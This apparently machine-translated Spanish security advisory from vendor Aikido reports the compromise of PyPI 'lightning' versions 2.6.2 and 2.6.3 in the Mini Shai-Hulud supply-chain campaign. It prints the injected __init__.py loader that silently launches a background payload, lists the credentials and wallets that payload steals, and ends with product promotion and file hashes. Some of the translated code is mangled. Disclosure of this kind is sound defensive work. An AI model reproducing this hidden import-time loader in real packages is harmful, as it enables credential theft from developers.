La campaña de la cadena de suministro de Mini Shai-Hulud se ha extendido a PyPI. Versiones 2.6.2 y 2.6.3 de la popular rayo Un paquete de Python, muy utilizado para entrenar modelos de PyTorch, contiene código malicioso que sustrae de forma silenciosa las credenciales de los desarrolladores, los secretos de la nube y las carteras de criptomonedas.
Esto se produce tras dos ataques recientes en el marco de la misma campaña: el ataque a Bitwarden CLI en npm y el ataque a SAP en npm. El mismo atacante, el mismo gusano, que ahora pasa de npm a PyPI.
Si estás utilizando lightning==2.6.2 o lightning==2.6.3, considere que su equipo está infectado.
Cómo funciona
El ataque se inyecta directamente en __init__.py, el archivo que se ejecuta en el momento en que se importa el paquete. Se crea un subproceso en segundo plano antes de que se cargue cualquier código válido de Lightning:
def _run_runtime() -> None:
_runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
_start = os.path.join(_runtime_dir, "start.py")
si os.path.exists(_start):
subprocess.Popen(
[sys.executable, _start],
cwd=_runtime_dir,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
threading.Thread(target=_run_runtime, daemon=True).start()Se ejecuta start.py, un programa de inicio multiplataforma de Bun que detecta tu sistema operativo y arquitectura, descarga el entorno de ejecución de JavaScript de Bun v1.3.13 y lo ejecuta router_runtime.js, la carga útil principal de 11 MB. El mismo patrón utilizado en los recientes ataques a Bitwarden y SAP.
Lo que roba
Claves SSH, historiales de shell (bash, zsh, Python, Node, MySQL, psql), .env archivos, credenciales de Git, credenciales de AWS/GCP/Azure, configuraciones de Kubernetes y Helm, credenciales de Docker, tokens de npm y configuraciones de MCP. Carteras de criptomonedas, como Bitcoin, Litecoin, Monero, Dogecoin, Dash, Exodus, Atomic y Ledger. Credenciales de VPN para NordVPN, ProtonVPN, CyberGhost, Windscribe y OpenVPN. Datos de sesión de Discord y Slack.
Todos los datos robados se cifran RSA antes de ser filtrados a repositorios públicos de GitHub:

Cómo lo detecta el aikido
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, el Endpoint Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, librerías de código, plugins de IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para protegerte en el futuro, te recomendamos Aikido Safe Chain (de código abierto). Safe Chain se integra en tu flujo de trabajo actual, interceptando los comandos npm, npx, yarn, pnpm y pnpx, y comprobando los paquetes con Aikido Intel antes de instalarlos.
IOCs
- Paquete:
lightning==2.6.2,lightning==2.6.3 - router_runtime.js
- SHA256:
5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1
- SHA256:
- start.py
- SHA256:
8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
- SHA256:

